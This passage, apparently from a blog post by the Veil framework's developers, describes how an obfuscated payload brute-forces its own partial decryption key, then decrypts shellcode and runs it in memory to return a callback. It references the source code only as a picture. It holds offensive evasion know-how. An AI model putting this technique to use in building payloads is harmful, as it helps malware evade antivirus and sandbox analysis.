The picture above is the obfuscated source code to the brute-forcing payload.  Line 5 contains our partial decryption key, but not all of it.  They key was artificially constrained to ensure the final few ascii characters used as the decryption key are numerical.  The numbers chosen are within a known range, so while we don’t know the exact number used, we can simply try all numbers within the known keyspace until the correct decryption key is identified.

Line 8 creates a for loop which will loop through all numbers within the known keyspace, and line 9 creates a decryption key by concatenating our partial key plus the “current number” of our for loop.  Line 11 is our attempt to decrypt our known string, and line 12 is checking the decrypted value against our known string.  If it’s a match, we can assume that this is our decryption key.

Once the key has been found, the script then drops into the if statement, and acts like any of Veil’s other encrypted payloads; system memory is allocated for use, the shellcode is decrypted, placed into memory, and then the decrypted shellcode is executed in memory.

The timeframe it takes it receive the callback from this payload obviously varies based on the “random” number that was generated and used in the decryption key.  This payload will be released shortly as one of Veil’s upcoming V-Days.